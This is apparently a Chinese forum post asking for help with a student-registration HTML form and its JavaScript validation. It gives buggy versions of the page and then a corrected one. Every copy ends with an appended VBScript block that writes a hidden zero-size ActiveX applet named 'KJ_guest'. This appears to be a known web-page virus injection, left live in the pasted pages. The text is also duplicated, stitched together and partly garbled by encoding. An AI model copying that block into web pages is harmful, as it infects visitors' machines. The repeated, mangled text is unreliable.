<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
if((str==null)||(str.length==0))
return true;
else return(flase);
}function isEmail(theStr){
var atIndex=theStr.indexOf('@');
var dotIndex=theStr.indexOf('.',atIndex);
var flag=true;
theSub=theStr.substring(0,dotIndex+1);
if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
(dotIndex<atIndex2B2)||(theStr.length<=theSub.length))
{flag=false;}
else{flag=true;}
return (flag);
}
function checkform(){
var flag=true;
if(isEmpty(window.document.studentNewFrm.studentID.value)){
alert("学号不能为空!");
window.document.studentNewFrm.studentID.focus();
flag=flase;}
else
if(isEmpty(window.document.studentNewFrm.password.value)){
alert("密码不能为空!");
window.document.studentNewFrm.password.focus();
flag=flase;}
else
if(isEmail(window.document.studentNewFrm.email.value)!=true){
alert("邮箱地址应包含@与.")
window.document.studentNewFrm.email.focus()
flag=flase;}
return flag;
}
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
</form><p>学号:<input type="text" name="studentID" size="20"></p>
<p>姓名:<input type="text" name="studentname" size="20"></p>
<p>密码:<input type="password" name="password" size="20"></p>
<p>电子邮箱:<input type="text" name="email" size="20"></p>
<p>性别:<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系:<select size="1" name="department">
<option selected>计算机科学与技术系</option>
<option>材料系</option>
<option>食品工程系</option>
<option>机电学院</option>
<option>经贸学院</option>
<option>艺术学院</option>
<option>轻化学院</option>
<option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton" </p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML></慕白兄>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
if((str==null)||(str.length==0))
return true;
else return(flase);
}function isEmail(theStr){
var atIndex=theStr.indexOf('@');
var dotIndex=theStr.indexOf('.',atIndex);
var flag=true;
theSub=theStr.substring(0,dotIndex+1);
if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
(dotIndex<atIndex2B2)||(theStr.length<=theSub.length))
{flag=false;}
else{flag=true;}
return (flag);
}
function checkform(){
var flag=true;
if(isEmpty(window.document.studentNewFrm.studentID.value)){
alert("学号不能为空!");
window.document.studentNewFrm.studentID.focus();
flag=flase;}
else
if(isEmpty(window.document.studentNewFrm.password.value)){
alert("密码不能为空!");
window.document.studentNewFrm.password.focus();
flag=flase;}
else
if(isEmail(window.document.studentNewFrm.email.value)!=true){
alert("邮箱地址应包含@与.")
window.document.studentNewFrm.email.focus()
flag=flase;}
return flag;
}
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
</form><p>学号:<input type="text" name="studentID" size="20"></p>
<p>姓名:<input type="text" name="studentname" size="20"></p>
<p>密码:<input type="password" name="password" size="20"></p>
<p>电子邮箱:<input type="text" name="email" size="20"></p>
<p>性别:<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系:<select size="1" name="department">
<option selected>计算机科学与技术系</option>
<option>材料系</option>
<option>食品工程系</option>
<option>机电学院</option>
<option>经贸学院</option>
<option>艺术学院</option>
<option>轻化学院</option>
<option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton" </p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML></慕白兄>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>新同学注册</title><script language=JavaScript>
function isEmpty(str){
if(str=="")
return true; }function isEmail(theStr){
var atIndex=theStr.indexOf('@');
var dotIndex=theStr.indexOf('.',theStr);
theSub=theStr.substring(0,dotIndex+1);
if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
(dotIndex<atIndex+2)||(theStr.length<=theSub.length))
{return true;}
else{return false;}
}
function checkform(e){
if(isEmpty(e.studentID.value)){
alert("学号不能为空!");
e.studentID.focus();
return false;} if(isEmpty(e.password.value)){
alert("密码不能为空!");
e.password.focus();
return false;} if(isEmail(e.email.value)){
alert("邮箱地址应包含@与.")
e.email.focus();
return false;} return true;
}
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)">
<p>学号:<input type="text" name="studentID" size="20"></p>
<p>姓名:<input type="text" name="studentname" size="20"></p>
<p>密码:<input type="password" name="password" size="20"></p>
<p>电子邮箱:<input type="text" name="email" size="20"></p>
<p>性别:<input type="radio" value="1" checked name="sex">男<input type="radio" name="sex" value="2">女</p>
<p>院系:<select size="1" name="department">
<option selected>计算机科学与技术系</option>
<option>材料系</option>
<option>食品工程系</option>
<option>机电学院</option>
<option>经贸学院</option>
<option>艺术学院</option>
<option>轻化学院</option>
<option>化工学院</option>
</select></p>
<p><input type="submit" value="注册" name="submitbutton">
<input type="reset" value="重写" name="resetbutton" </p>
</form>
</body>
</html>
<HTML>
<BODY>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>
</BODY>
</HTML>
程序修改如下
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<title>ÐÂͬѧע²á</title><script language=JavaScript>
function isEmpty(str){
if((str==null)||(str.length==0))
return true;
else return(false);
}function isEmail(theStr){
var atIndex=theStr.indexOf('@');
var dotIndex=theStr.indexOf('.',atIndex);
var flag=true;
theSub=theStr.substring(0,dotIndex+1);
if((atIndex<1)||(atIndex!=theStr.lastIndexOf('@'))||
(dotIndex<atIndex+2)||(theStr.length<=theSub.length))
{flag=false;}
else{flag=true;}
return (flag);
}
function checkform(form){
var flag=true;
if(isEmpty(form.studentID.value)){
alert("ѧºÅ²»ÄÜΪ¿Õ£¡");
form.studentID.focus();
flag=false;}
else
if(isEmpty(form.password.value)){
alert("ÃÜÂë²»ÄÜΪ¿Õ£¡");
form.password.focus();
flag=false;}
else
if(isEmail(form.email.value)!=true){
alert("ÓÊÏäµØÖ·Ó¦°üº¬@Óë.")
form.email.focus()
flag=false;}
return flag;
}
</script>
</head>
<body>
<form method="post" name="studentNewFrm" onsubmit="return checkform(this)" action='xx.asp'>
<p>ѧºÅ£º<input type="text" name="studentID" size="20"></p>
<p>ÐÕÃû£º<input type="text" name="studentname" size="20"></p>
<p>ÃÜÂ룺<input type="password" name="password" size="20"></p>
<p>µç×ÓÓÊÏ䣺<input type="text" name="email" size="20"></p>
<p>ÐÔ±ð£º<input type="radio" value="1" checked name="sex">ÄÐ<input type="radio" name="sex" value="2">Å®</p>
<p>Ժϵ£º<select size="1" name="department">
<option selected>¼ÆËã»ú¿ÆѧÓë¼¼Êõϵ</option>
<option>²ÄÁÏϵ</option>
<option>ʳƷ¹¤³Ìϵ</option>
<option>»úµçѧԺ</option>
<option>¾­Ã³Ñ§Ôº</option>
<option>ÒÕÊõѧԺ</option>
<option>ÇữѧԺ</option>
<option>»¯¹¤Ñ§Ôº</option>
</select></p>
<p><input type="submit" value="×¢²á" name="submitbutton">
<input type="reset" value="ÖØд" name="resetbutton"¡¡></p>
</form>
</body>
</html>
<script language=vbscript>
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=KJ"&"_guest HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>"
</script>